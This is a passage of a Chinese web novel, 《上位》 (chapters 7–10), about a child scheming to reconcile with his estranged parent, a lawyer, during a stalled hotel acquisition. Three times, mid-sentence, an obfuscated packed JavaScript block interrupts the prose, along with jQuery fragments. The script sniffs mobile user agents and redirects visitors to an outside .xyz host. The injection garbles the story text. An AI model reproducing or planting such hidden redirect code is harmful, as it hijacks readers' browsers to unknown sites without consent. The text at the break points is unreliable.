《上位》
7. 番茄酱
翌日清晨,蒋兜兜在自己的床上醒来。
刷牙洗脸尿尿,踩着印着小黄鸭的毛拖鞋,蒋兜兜轻手轻脚开门,下楼,走到楼梯转弯处停下,手撑在栏杆上,探身往厨房瞄一眼,看到蒋绍言后又飞快把头缩回来。
空气中飘来早饭香,蒋兜兜拱着鼻子小狗似的嗅闻,辨别出有燕麦粥和炒鸡蛋,是用黄油炒的,加了牛奶的那种,比起噎人的煮鸡蛋好吃一万倍!
不过蒋绍言不常给他炒,蒋兜兜眼珠子转了转,又不知道琢磨什么。
从厨房出来,蒋绍言一眼就看到缩在楼梯转角的人,自以为藏得好,红色睡裤和黄色拖鞋全都暴露出来,屁股还一扭一扭,不知道多扎眼。
蒋绍言不露声色,东西端上桌,围裙摘下搭在旁边的椅背上,他便自顾在餐桌一头坐下,提起筷子开始吃饭。
没过一分钟,楼梯那边传来脚步,踢踢踏踏的,像是故意引起他注意,蒋绍言不紧不慢咽下一口粥,这才抬脸看去,视线相交,蒋兜兜不动了,立在原地扁嘴。
这是要他请的意思,蒋绍言心中一笑,却没显在脸上,淡淡说:“过来吃饭。”
蒋兜兜这才继续往下走,一步一个台阶,最后两级是蹦下来的,走到餐桌,他在蒋绍言旁边坐下,就见那份炒鸡蛋已经摆在了面前。
蒋兜兜心里欢呼,又用眼角偷瞧身侧,蒋绍言面前却没有炒鸡蛋,只一碗粥和两个包子,还有蒸玉米和紫薯山药之类的粗粮。
蒋兜兜收回视线,低下头,拿勺子在鸡蛋上戳了戳,黄澄澄的鸡蛋香软嫩滑,散发诱人气味,他都能想到一口下去滋味有多好。但不知道为什么,他却没动,两只脚在桌子下面晃了晃,抬头的时候跟蒋绍言说要撒点黑胡椒,让蒋绍言给他拿。
蒋绍言什么也没说,起身去厨房,在柜子里找到装黑胡椒的瓶子,等回来时却是一愣。
那份黄油炒蛋被放在了他座位前面,黄澄澄的鸡蛋被勺子刮在一起,刮出一个形状,歪歪扭扭,也别别扭扭,如果仔细看,还是能看得出是颗爱心。
下方角落,还用鲜红的番茄酱挤出一句英文——I Am Sorry。
蒋绍言步子顿住,一瞬间,心头涌起复杂的滋味,他走过去把黑胡椒搁在桌上,在椅子坐下,认真看了一眼那份“爱心”鸡蛋,又认真看了看蒋兜兜,问道:“不吃?”
蒋兜兜晃了晃脑袋,故作大方:“我今天不想吃,给你吃吧。”
说罢拿起蒋绍言面前的肉包子啃起来。
蒋绍言开始没动,过了将近一分钟才抬手,用勺子舀一勺鸡蛋送进嘴里,慢慢咀嚼,细细品味,就着那行歪七扭八的英文,目光慢慢变得柔和。
蒋兜兜余光瞥见,这才松口气。
他还记得前一天他口不择言说讨厌蒋绍言,事后很后悔,所以才想出把鸡蛋摆成一颗爱心,算是给蒋绍言道歉。
包子肉馅足,也很美味,蒋兜兜吃得满足,嘴巴一圈油,眼睛还有点肿,但眼神却亮,眼珠不时转动,精光有神,看架势准备要大干一场。
昨天晚上他梦见钟虞抱他睡觉,给他讲故事,还温柔地亲他的脸,说最喜欢他。他是笑醒的,醒来之后发现流了口水,又有些懊恼,手背擦了好半天。
蒋绍言一直没说话,只无声地关注着他。
直到蒋兜兜搁下筷子,犹如发起冲锋的号角般打了个响亮的饱嗝,然后用宣誓一般郑重的语气对他说:“我还要去找他。”
这个他是谁,父子俩心知肚明。
蒋绍言不置可否,优雅地咽下鸡蛋,之后才点破事实:“他不是说不让你去?”
蒋兜兜气馁了一瞬,很快又鼓足干劲,小大人似的双手环抱胸前,语气十足笃定:“他那是跟我讲反话。”
蒋绍言有点想笑,嘴唇微扬了扬,认真看了小崽子一会儿,竟又有些羡慕。
明明昨天还哭天抢地,一夜过去就又满血复活,怀着一腔热忱,一往无前。
“总之,”蒋兜兜眼中光芒闪动,握紧拳头,一锤定音,“我一定要去找他。”
*
虽然许下豪言壮语,但具体怎么办,蒋兜兜心里也没谱。
他是真的想见钟虞,也怕钟虞烦他,从早上出门就开始纠结。
只要天气好,幼儿园每天下午都有户外活动,今天的安排是两人一组踢足球。蒋兜兜和另一个叫吴瑞的同学找了片人少的树荫,一下一下有些无聊地来回传球,等活动结束,发酸奶的时候,蒋兜兜把自己那瓶给了吴瑞。
吴瑞的那瓶早就被他三两口喝光了,见蒋兜兜这么大方,有些惊讶:“你不喝啊?”
蒋兜兜点头,吴瑞怕他反悔,赶紧插上吸管猛吸了一大口。
两人坐在操场旁边的台阶上,阳光穿过树阴,细碎的斑光落在两张稚嫩的脸蛋上。蒋兜兜朝远处看了一会儿,突然转头问吴瑞:“如果你妈妈生气了,你怎么哄他?”
吴瑞的一口奶差点喷出来。
蒋兜兜有些嫌弃地往旁边闪,看着吴瑞嘴角溢出的酸奶,从口袋里摸出手帕递过去。
吴瑞擦完,用更加惊讶的眼神朝看他。
蒋兜兜微微蹙起眉,心想他又不是问什么石破天惊的事,干嘛这样大惊小怪。不过他没表现出来,他还需要吴瑞回答他,于是用平缓的调子重复了一遍:“我是问,你妈妈一般……就是你做什么他会特别喜欢你?”
不怪吴瑞惊讶,因为“妈”这个字可是蒋兜兜的逆鳞。他原先也不知道,总跟蒋兜兜分享他妈做的小饼干,还说他妈每天晚上都会给他读故事,搂着他睡觉。
听完他的话,蒋兜兜那张漂亮的脸蛋就会冷下来,漆黑的瞳仁不带温度地盯着他,久而久之,吴瑞就明白了,不在蒋兜兜面前提他妈。
吴瑞不知道蒋兜兜为什么主动提他妈。
他有些吃惊,嘴角只擦一边,另一边甚至顾不上擦,有些小心地问:“你问这个干什么啊?”
蒋兜兜不爱炫耀,不像其他小孩,连在家里吃了什么饭、玩了什么玩具都要拿出来跟人讲,他觉得烦,但这一次,他实在忍不住,迫切想要找个人分享他的喜悦,于是清清嗓子跟吴瑞说:“我
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424983|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妈妈回来了。”
吴瑞顿时睁大眼睛。
“所以你快跟我说,你跟你妈妈平时都……”蒋兜兜单手握着下巴,努力思考措辞,“就是怎么……”
吴瑞奶也不喝了,坐直身体:“你是想问我平时怎么让我妈高兴的?”
蒋兜兜矜持地点头。
吴瑞也学蒋兜兜摸下巴,想了想说:“如果她给我准备的早饭我都吃了,她就会高兴,如果不吃或者挑食她就不高兴。”
蒋兜兜听得专注,往吴瑞挪近,两小孩挨在一起。
吴瑞继续说:“有一次我弄断了她的口红,她嘴上说没关系,但我知道她不高兴,我就用我自己的压岁钱给她买了一个新的,她那天可激动了,抱着我一直亲。”
蒋兜兜细眉拧起,口红?那是什么?他对吴瑞说:“你继续说,说多点。”
吴瑞被他的情绪传染,也变得兴奋起来:“哦哦,有天我爸和我妈吵架,我爸特别凶,我妈都哭了,我就拿玩具丢我爸,拿脚踹他,我妈就不哭了,紧紧把我抱在怀里。”
蒋兜兜若有所思,心里不确定地记下一笔——打爸爸?
“哦哦还有还有!我妈妈对我最好的时候就是我生病的时候,那时候我提什么要求她都会答应,而且她不上班,请假在家陪我一整天,我睡着了之后就感觉她在亲我,还跟我说最爱我了。”
蒋兜兜迅速提取关键词——生病。
之后吴瑞又讲了许多,在下一节外教课的时候,蒋兜兜没听,拿笔在本子上洋洋洒洒写满一页,遇到不会的字就用拼音或者画出来。他把尺子压在纸面上,小心地一点点沿边线撕下,仔细对折,最后郑重地放进贴身口袋里,并决定把之后一周的酸奶都给吴瑞喝。
铃响放学,整个学校沸腾起来。蒋兜兜背起书包,吴瑞的妈妈来接他,吴瑞跟他说再见,欢快地张开双臂,如幼鸟归巢般朝他妈妈扑过去。
蒋兜兜原地看了一会儿,慢吞吞往外走,原以为是司机来接,没想到站在车子旁边的人是蒋绍言。
蒋兜兜其实是高兴的,但单独面对蒋绍言时,他的情绪变得不那么外露,只默默看了他爸一眼,就顺着打开的车门钻了进去。
蒋绍言也随即上车,发动之后,除了问一句晚上吃什么,蒋兜兜回随便,便再无对话。父子俩没话说是常态,蒋绍言等红灯的时候朝后视镜瞥去一眼,看到小孩手里拿着一张有折痕的纸,眉头紧锁着不知道在琢磨什么,八成又跟钟虞有关。
行到半路,蒋兜兜从纸上抬头,视线移向窗外,细眉疑惑地皱起。
“我们不回家吗?”
他认得路,但这条明显不是回家的路。
蒋绍言从后视镜里同他对视:“先不回,去公司。”
蒋兜兜顿时不乐意:“我不去,我要回家。”
蒋绍言微微勾唇,语气悠悠:“你不想见他吗?”
蒋兜兜愣了愣,瞬间坐直,倾身向前,整个人几乎要趴到前排椅背上:“他在你公司?”
蒋绍言没答,只道:“去了你就知道了。”
8. 八段锦
此刻的钟虞正坐在会议室里,对面坐着西北集团法务总监郝家明。
郝家明是地道广东人,人到中年,秃头微胖,看着面善得很,对谁都笑眯眯,见到钟虞第一面便在心里惊叹:哇,好靓啊。
钟虞和老陈上午就来了,郝家明亲自在门口迎接,把他们引到据说是整个西北集团风景最好的一间会议室。
钟虞礼貌客气地回应,在椭圆形会议桌前正襟危坐,拿出电脑和资料即刻就要进入正题的时候,郝家明突然十分认真地询问他:“钟律,你想喝咩?我们这里咖啡红茶绿茶应有尽有,随你挑选。”
郝家明讲话带着点广东口音,不重,能听得懂。钟虞微愣,想说黑咖啡就好,郝家明突然一拍巴掌,说:“唉不如这样吧,来杯咖啡?Cappuccino如何?我会拉花,咩图案都行,我专门学过。”
钟虞婉拒:“不了谢谢我……”
郝家明又一合掌,啪一声,叫老陈吓了一跳,就见他冲天打了个响指,作恍然大悟状:“我知了,钟生不喜饮咖啡,也不喜红茶绿茶,这样吧,我们点奶茶!那个Ada还是Linda,就点我们公司投资的那家奶茶店,还有,再叫旁边酒店送点点心过来,快快快。”
等奶茶的时间,郝家明东拉西扯,一会儿说天气,一会儿聊交通,就是不进正题。
钟虞冷眼旁听,并不怎么搭话,老陈是个自来熟,跟郝家明聊得火热。
奶茶和点心相继送到,郝家明起身,满面笑容地亲自给钟虞拿一杯,插上吸管递到他面前。
俗话说伸手不打笑脸人,钟虞起身接了,打算喝一口意思意思就放旁边,心想奶茶到了,总该切回正题,谈谈协议的条款了。
谁料郝家明又开始借题发挥,侃侃而谈这个奶茶品牌是他们蒋总看中投资的,而蒋总多么眼光独到慧眼识珠,又多么英明神武力排众议巴拉巴拉……
钟虞沉默了片刻,拿起奶茶又喝了一口。
这一回他注意到杯子上印着一个男明星的照片,大概是品牌代言人,出于好奇便多看两眼。
老陈在旁边也吸奶茶,见状凑近,压低声音同他八卦:“这就是我跟你说过的,那个大早上从……办公室出来的明星。”
钟虞立刻朝老陈看去。老陈挤眉弄眼,意思是“省略号部分你懂的”。
钟虞没搭腔,觉得这玩意涩口得很,面无表情又把奶茶搁回去,这一回推得更远。
钢笔的笔帽插上又拔出,他耐心差不多告罄,正色面对郝家明:“郝总,吃也吃了喝也喝了,咱们开始吧。”
郝家明说:“急咩啊钟律,我知你着急,但你先把奶茶喝完啦,怎么不喝?是不是不合胃口?你看我说吧,还是我给你拉杯咖啡,来来来你坐你坐,看我给你拉一个!”
钟虞起身的肩膀被郝家明按下:“我……”
吃吃喝喝一上午过去,钟虞被迫喝了一肚子水,文件都还没打开。等到中午,指针刚过十二点,郝家明眼锋一扫,即刻笑呵呵道:“到点食饭啦,食饭大过天,走啦钟律陈律,我带你们去餐厅,我同你讲啊……”
吃完饭,郝家明说中午休息两小时,下午继续,如果钟虞和老陈有需要,可以在旁边酒店为他们开间钟点房,被钟虞婉拒。
他和老陈在楼下四处转转,到下午快两点出现在会议室,郝家明先是把上午的咖啡奶茶如法炮制又来一遍,之后总算没再搞幺蛾子,开始过条款,然而过程拖拉拖泥带水,不时哈欠连天睡眼迷离,效率极其低下。
等到三点半,郝家明惺忪的睡眼忽地睁开,往墙上的挂钟扫去,钟虞注意到,顿时眉心一跳,果然就见郝家明那张和善的脸上绽出笑容,对他说:“钟律陈律,到时间锻炼啦,现在倡导全民健身,我们蒋总很响应国家号召的,广播操太极拳还是八段锦,来来钟律你挑一个,我安排人放音乐。”
钟虞面无表情,盯着他看了两秒,放下笔,抬起手腕,解开衬衣的袖扣,开始向上翻折。
钟虞垂着眼,动作不紧不慢,称得上优雅,面容却冰雪似的冷,一副老子忍你很久了的架势。老陈一个激灵,以为他要拍案而起跟人干仗,连忙伸手按住他的手臂,等钟虞看过来之后冲他使眼色,暗示他千万别冲动,随后笑呵呵转向郝家明,另一只手向后按在自己颈椎上:“那什么八段锦是不是对颈椎好啊,怎么做?”
郝家明仿佛没注意钟虞极差的脸色,分动作给老陈讲解,热情简直能把最坚硬的冰川融化。
到五点,郝家明将四散的文件归拢归拢,啪得一合,笑眯眯说:“唔好意思,我们都是按照劳动法,一周工作40小时,一天不超过八小时,钟律你看,已经到下班时间啦,我看咱们今天就先谈到这儿吧。明天同一时间,继续!”
钟虞是被半请半推进电梯的,郝家明站在外头对他微笑摆手,电梯门合上的瞬间,老陈打了个响亮的饱嗝。
钟虞无语地看他。
老陈心里嘀咕,这能怪他吗,要怪就怪五星级酒店的茶点太好吃,咖啡奶茶太好喝,郝家明太热情,他摸摸肚子,感觉今儿的晚饭可以省了。
眉目冷淡的钟律师自己也喝了一肚子奶茶咖啡,感觉走路都咣咣当当,他面不改色出电梯,地下车库依旧满员,根本没人走,可见郝家明说的什么五点下班就是狗屁。
想起对方那明显拖延的举动,钟虞眼中闪过一抹冷色。
这次收购,他原本不必回国。大概半年前,西北集团突然提出全资收购的邀约,大客户那边一评估,觉得可行,双方接洽顺畅,尽职调查也很顺利,然而就在这之后,钟虞再跟对方法务团队沟通时,邮件回复不再及时,视频会议也以时差为由多次取消,安诚的老大才让钟虞回国,让对方再无借口,速战速决。
老陈边走边打量车库里的车,他也看出郝家明今天这一出是故意的,问钟虞:“你说蒋绍言是不是反悔了,所以才故意拖着我们?”
钟虞目光微沉,没说话。
最一开始他就觉得西北集团突然提出收购有蹊跷,那间酒店名叫Judith,历史久名头响,但近年来因为设置老旧还有经营理念落后等问题,处于连年亏损的状态,蒋绍言并非要面子不要里子的人,如果要进军北美
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424984|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
酒店业,Judith其实并非最优选择。
“或许是资金出了问题,也可能是董事会内部观点分歧。”相对主观因素,钟虞更倾向于客观原因。
“难道不是他想趁机压价?”老陈提出另一种可能。
钟虞想也没想立刻说:“不会,他不是这种人。”
说完他继续往前走,走出两步才发现老陈没跟上,回头就见老陈停在原地,用一种复杂探究的眼神打量他。
钟虞立刻意识到他否认得太快,表情不变,淡然回视老陈:“怎么了?”
老陈显得欲言又止,最后还是不吐不快:“你怎么知道蒋绍言不会?你这么了解他?你觉得他是哪种人?”
钟虞一派淡定:“你看之前他们几次收购,给的价钱都很合理,基本符合市场行情,没有故意拖延或者恶意压价,你自己也说过,蒋绍言这人信誉很好。”
“这倒也是……”老陈像被说服,到底是粗枝大叶的老爷们,但凡他再细致点,就会发现钟虞在说“蒋绍言”这三个字时,语气里微妙的滞涩。
钟虞掩饰般垂眸,“走吧,回所里。”
两人往停车的地方走,西北集团一共三栋办公楼,底下的停车场相互联通,十分广阔,走在里头脚步都带回声。
钟虞步伐沉稳频率不变,老陈同他并排,说郝家明提出做广播操的时候,钟虞脸都绿了。
“我真怕你跳起来揍他。”老陈心有余悸。
钟虞挑眉:“我是那种人吗?”
不过想起郝家明叫人眼花缭乱的骚操作,他自己都忍不住笑了,真难为郝家明。
律师为了赢,可以手段百出,无所不用其极,钟虞明枪暗箭防过,软硬钉子碰过,但都不像今天。
对着郝家明那张笑眯眯的胖脸,他还真下不去手。
走得有些热,钟虞难得不端庄地把领带抽掉,在手掌上缠绕两圈,心想今儿可算长见识,开了眼了。
两人边说边继续向前,很快,老陈就听见停车场里还有另外的两道脚步,离他们越来越近,以及明显是一个孩子的声音——
“你干嘛把车停那么远?”
老陈不由得循声看去,就见隔着两排车位,在旁边的那条过道上,一个身材高大的男人正带着一个孩子经过。
说来也巧,正巧中间两个车位都是空的,所以双方没有遮挡,就这样照上了面。
老陈目光毒辣,只宴会上近距离见过蒋绍言一次,就从那外貌和气势一眼认出。
他有些惊讶,不知为何下意识转头,去看钟虞的反应。
钟虞脸上淡淡的笑意不见了,他停下脚步,立在原地,脊背挺得笔直。车库灯光并不明朗,他正站在不知哪里投下的一片阴影中,薄唇紧抿,神情晦暗。
蒋兜兜刚抱怨完,转头就突然见到了朝思暮想梦里的人,眼睛瞬间睁大,仿佛看到肉骨头的小狗崽子,不需要思考,只凭借本能,头一扭身一转,双脚自发地动起来,就要飞奔过去。
然后就被蒋绍言一把抓住后脖领。
蒋绍言低声警告:“别动。”
9. 花蝴蝶
幽暗的车库,空气中混杂着难闻的机油尾气。
双方间隔十几米,相互对望,谁都没动。
钟虞知道自己该走过去,礼貌地跟蒋绍言打招呼,就像对待其他案子里的甲方那样,但步子却像钉在地上,无法拔出。
蒋绍言的视线从老陈移到钟虞,目光直接,锐利,不加掩饰,钟虞淡然回视,缠着领带的掌心却悄然握紧。
然而眼神交汇只一秒,蒋绍言就面无表情地移开,迈动步伐,强硬地推着疯狂摇尾巴的蒋兜兜继续往前走。
走动间,车库的顶灯在他轮廓分明的侧脸投下或明或暗的光影,衬得那张脸越发英俊,也越发叫人难以捉摸。
蒋兜兜不情不愿,被蒋绍言的大手按在后脑勺上,想回头也不能,等蒋绍言带他进电梯之后,他便立刻转身,目光搜寻钟虞的身影。
然而他失望了,钟虞不见了。
车库里有辆帕沙特闪了闪车灯,紧接着便转弯掉头,往出口开去。
钟虞竟然不等他回头就走了……
蒋兜兜仿佛被戳破的皮球,浑身劲儿一下子散了。
蒋绍言按了关门键。
这部电梯是蒋绍言专用,到顶后,蒋绍言带蒋兜兜去办公室。
郝家明已经在等候召见了,正跟几个秘书吹水,见到蒋绍言立马挺胸抬头,他自己也喝了一肚子奶茶咖啡,努力吸紧大肚腩。
办公室的门打开,蒋兜兜失了魂似的跟在他爸后面,走到沙发旁,把自己往垫子上一摔,四肢摊开,一副生无可恋的模样。
郝家明见状,不禁纳闷,点解啊?小太子这般闷闷不乐?
蒋绍言并不管他,大步走到办公桌后,先一粒粒扭开西装扣,露出里面浅灰色马甲,再不紧不慢把两只手腕上的袖扣也分别拆掉。
等脱掉西装外套,郝家明才发现内里还有乾坤,蒋绍言的马甲上挂着个单头怀表链,金属链条质感复古,底端正垂在下腹的位置,随动作轻轻晃动,十分抓眼。
郝家明暗自咋舌,心道蒋总搞咩啊,打扮得像只花蝴蝶,知道的是去接孩子,不知道的还以为是去会情人。
蒋绍言把衬衫袖子挽起,精壮的小臂露出来,眨眼间又恢复郝家明熟悉的、雷厉风行的模样。在宽大的办公桌后头落座,蒋绍言目光一点让郝家明在对面坐下,直奔主题就问他今天谈的情况。
“好!”郝家明一字定调,“我们热情接待,对方满载而归,双方都很满意!Win-Win!”
蒋绍言知道听郝家明的话要打折,并不全信,状似随意问:“对方来了几人?”根本不提自己已经在车库见过。
“两个,”郝家明坐直身体,“一个姓钟的律师,系从纽约那边飞过来的,不太了解,还有一个姓陈,那人是个万金油,我听说过,老练圆滑,不过人还是蛮不错的。”
蒋绍言沉默片刻,问:“那位姓钟的律师,你怎么评价?”
郝家明眼明心细,否则也不能在蒋绍言手底下混到法务总监的位置,他注意到蒋绍言语气里的不同寻常,脑筋一转,说:“专业!犀利!”
还好靓啊,郝家明心说,比他见过最靓的明星还要靓,实在是顶!
“就是不好糊弄。”郝家明又补充,“他们肯定知道我们是在拖时间。”
说完,郝家明闭上嘴,等待蒋绍言下一步指示。
他回想之前跟蒋绍言汇报的时候,蒋绍言告诉他这个收购先缓一缓,郝家明当时说“那我就说我要出差,先推迟几天,暂时不开会了”。
还没说完,蒋绍言就朝他看了一眼。
这一眼无声,威慑却强。蒋绍言很少发火,也鲜少苛责下属,那股不怒自威的气势还是叫人有些畏惧,郝家明当即知道领会错误,连忙改口说:“明白了蒋总,会议照常开,我想其他办法拖一拖。”
对于这次收购,郝家明一直猜不透蒋绍言的态度,之前上百亿的案子,蒋绍言都没有怎么过问,像这次这种十几个亿级别的收购,按理来说蒋绍言更不会多关注,但出乎寻常,他从开头就很重视,让郝家明直接向他汇报。
因为工作排不开,郝家明没去纽约参与尽调,是金权的柏萧红带队去的,回来之后蒋绍言就问柏萧红问得很详细,郝家明当时也在场,蒋绍言甚至连对方有哪些人参与都要知道。
尽调结果令人满意,Judith酒店没有负债,运营情况也算良好,下一步就是磋商协议,由双方法律团队负责,但是蒋绍言某天突然把他叫到办公室,跟他说先拖一拖进度。
要说蒋绍言重视这次收购,那的确是,否则不可能亲自过问,但现在又叫他拖进度……
郝家明是看不透这个年轻,但已经将喜怒不形于色修炼到已臻化境的老板。
见蒋绍言长久缄默,郝家明斗胆开口,轻声唤他:“蒋总?”
蒋绍言像从某种思绪里回神,想了想说:“不用再拖了,就按正常进度走。”
他估计照钟虞的脾气,再有一次恐怕就得翻脸。
郝家明点头,又问:“那我们这边态度要强硬一点,还是柔和一点?”
意思是非原则分歧,是放还是不放。
想起钟虞吃软不吃硬的性格,蒋绍言说:“柔和一点。”
郝家明走了,蒋兜兜还瘫在沙发上,从趴着变成了仰躺,大字摊开,头发被抓得稀乱,脸上还盖着一张纸。
蒋绍言走过去,弯腰在他肚子上拍了一巴掌。
蒋兜兜立刻像只炸了毛的猫,翻身坐起,冲入侵者龇牙。
那张纸从他脸上掉落,飘到地毯上。
纸中间有道折痕,就是那张蒋兜兜在车上一直看的纸,蒋绍言弯腰捡起,一眼瞥见上头几个字——口红,打爸爸。
蒋绍言眼皮一跳,什么玩意?
蒋兜兜一把夺回,把纸珍重地叠起收好,开始秋后算账:“你刚才干嘛拉我?”
“要不然呢,”蒋绍言反问,“让你过去?”
蒋兜兜气呼呼瞪他。
蒋绍言继续说扎他心窝子的话:“你觉得他会推开你,还是会抱住你?”
蒋兜兜气势一下子弱了,后背软下去,头也低下去,看着叫人心疼。
蒋绍言居高
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424985|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
临下,看了一会儿他低垂的头顶,慢慢弯腰在他面前蹲下,形成和他平视的姿态,继续问:“不是说怎么都不会放弃?”
“谁说我要放弃?”蒋兜兜把头扭到一边,不想让蒋绍言看到他变红的眼睛。
蒋绍言便假装没有看到,继续用平缓的语调问他:“知不知道什么叫欲速则不达?”
蒋兜兜扭回头,看着他爸不说话。
蒋绍言抬起手,宽大的手掌罩在他头顶,微微施力,似安慰,似鼓励,像是叫他不要轻易认输:“我知道你心里急,但有些事急不得。要做成一件事,最快的办法就是慢慢来。”
蒋兜兜抿紧嘴唇,抿得很用力,嘴唇一圈有些发白。许久他才松开,小声地问蒋绍言:“你觉得他喜欢我吗?”
“他不是喜欢你,”蒋绍言没有任何犹豫,“他爱你。”
蒋兜兜眼睛瞬间亮了,然而想起几次见面钟虞冷漠的态度,又有些气馁,自暴自弃地踢了一下沙发:“你骗我,你们都是大骗子。”
蒋绍言单膝跪地,一手牢牢固定住蒋兜兜的双腿,另一只手抬起,按在蒋兜兜后脑上,逼蒋兜兜看他的眼睛,一字一字说得缓慢、清晰:“相信我,这个世界上没人比他更爱你。”
说这句话时,蒋绍言脑海迅速闪过几个画面。他想起钟虞怀孕后不爱出门,有次他好哄歹哄,把钟虞哄出去逛书店,谁知那家店的书架不知怎么没有固定,被人撞得晃了一下,顶上几本书掉落,钟虞第一反应就是护住肚子,背身去承受,幸好被他一个健步护在怀里。
还有生产时,男人生产危险性极高,钟虞的爸爸就是难产去世,谁都不知道会发生什么。他对医生说无论如何都要确保钟虞的平安,那位医生朋友神色复杂,说道:“刚在里面,他让我无论如何一定先确保孩子平安,你俩一人一个想法,能不能先统一一下?”
蒋兜兜眼睛红了,眼眶包着垂垂欲坠的晶莹泪滴,哑着嗓子问:“真的吗?”
“真的。”
两个字足以让小崽子再度满血复活,他挣脱蒋绍言的桎梏,爬起来站在沙发上,又蹦又跳,手舞足蹈:“我就知道!小虞儿最喜欢我最爱我!”
这一幕很难叫人不动容,蒋绍言仰头看他,英俊的脸上难得露出笑容。
蒋兜兜跳累了,停下,又把那张纸拿出来,撅着嘴在上面亲了一下,发出很轻的一声“啵”。
蒋绍言问他这是什么。
蒋兜兜把纸按在心口,和那个红翡挂坠紧紧贴在一起,说:“这是我的大、计、划!”
蒋绍言又有点想笑,唇角高扬,他也不问,他倒是想看看这小孩能折腾出什么。
蒋兜兜从未见过蒋绍言这样笑,笑得那么开怀,比白天的太阳还要灿烂,不禁露出惊讶的表情:“你笑什么?”
他想起前一次,就是蒋绍言突然来接他,破坏他和钟虞的二人世界,而今天也是蒋绍言拉着他,他才没能去抱住钟虞。
于是蒋兜兜又板起脸,严肃地对他爸说:“你不要干扰我。”
“好,我答应。”蒋绍言扬唇,“我拭目以待。”
10. 吸铁石
“——所以那孩子是蒋绍言的儿子?”
“这个问题你应该向他本人求证。”
“……如果是他儿子,那他儿子为什么来律所找你?”
“假设性问题没有意义。”
老陈开着车,车内静了一会儿,他实在没忍住,又问:“那蒋绍言你总认得吧?刚才见到他怎么也不去打个招呼?”
钟虞眼睫微阖,不带感情地回复:“刚才是他吗?光线太暗,我没看清。”
不愧是26岁就做到顶级律所资深律师,很快就要成为合伙人的人,说话滴水不漏,叫人抓不到一点破绽。
老陈心服口服。
手机响,老陈戴蓝牙耳机接听,是他老婆电话,问他晚上回不回家吃饭。
老陈说所里还有事,不回了。接着那头似乎换成他女儿,老陈立刻眉开眼笑,宝贝宝贝喊个不停。
钟虞扭头看向窗外,悄然松一口气。
回想车库那一幕,钟虞复盘,自觉老陈说的没错。他的确应该大大方方上前去跟蒋绍言打招呼。其实回国前他就想过和蒋绍言碰面的场景,然而想象是一回事,真到了这一刻他才发现,所有想象中的云淡风轻、相视一笑、握手言欢,他根本做不到。
蒋绍言像一块吸力巨大的磁石,一旦靠得太近,他就会不可控制地被吸引。
红霞铺满了秋日高爽的天空,回律所,钟虞走进办公室,打开电脑处理文件。
除了西北集团的收购,他手头还有好几个案子,一个投资的尽调,一个反垄断的合规,还有两个IPO和一个信托。做非诉就这点好,只要有台电脑,到哪儿都能办公。
等处理完,外面的天已经完全黑了,正好他在纽约的助理茱莉亚和团队其他几人上线,钟虞便一一跟他们交代工作。
开完视频会已经晚上十点,钟虞这才回酒店,洗漱,睡了个不算有多舒服的觉,第二天一早又跟老陈直奔西北集团。
路上他就跟老陈商量好,要是郝家明还来昨天那一套,他们立刻走人。
郝家明依旧热情欢迎,钟虞进去会议室,发现靠墙摆满咖啡茶点,顿时在心中冷笑。他勉强忍过一杯黑咖啡的时间,郝家明观察着他的脸色,微微一笑:“钟律,食好喝好,那咱们就开始吧?”
钟虞没能掩饰住吃惊的表情。
郝家明抬手示意他:“请吧。”
双方在圆桌两侧落座,郝家明笑容满面,但暗藏锋芒,终于展现出法务总监该有的专业和态度。中途柏萧红带着金权的人也来了,两方过招,时而无声对峙,时而据理力争,会议室上方一片无形的刀光剑影。
钟虞很享受这种感觉,一天下来丝毫不觉疲惫,只感到畅快。
到五点,郝家明叫了暂停:“哎呦钟律,我得歇歇啦,精力比不上你们年轻人,咱们今天先到这里,明天继续好吧。”
钟虞没理由拒绝,合上电脑:“好,我们没问题。”
郝家明拇指按压两边太阳穴,微微眯起眼,看钟虞收拾电脑和文件,再一次感叹,真是好靓。
不仅靓,还专业犀利,身段姿态更是一顶一。这一天下来,郝家明每次抬头看他,就没见他的背有弯着的时候,永远挺那么直。
不累吗?郝家明突发奇想,人又不是robot,怎地会不累?还是说他其实衬衫里头穿了背背佳?
收拾妥当,钟虞同郝家明握手告辞。郝家明送他们到电梯,不忘为前一天的行为找补:“钟律你们放心啦,这次的收购我们相当重视,蒋总都让我直接跟他汇报,所以请你们相信,我们绝对诚意满分!”
之后回律所,钟虞重复前一天工作,查邮件看资料,跟纽约那边开视频会。
廖志晖拎包下班的时候,见到钟虞办公室的灯还亮着,探头探脑往里瞄。玻璃阻隔了声音,他听不见钟虞说话,但看口型就知道钟虞语速很快,还有那冷肃的神态着实让他有些吓到。
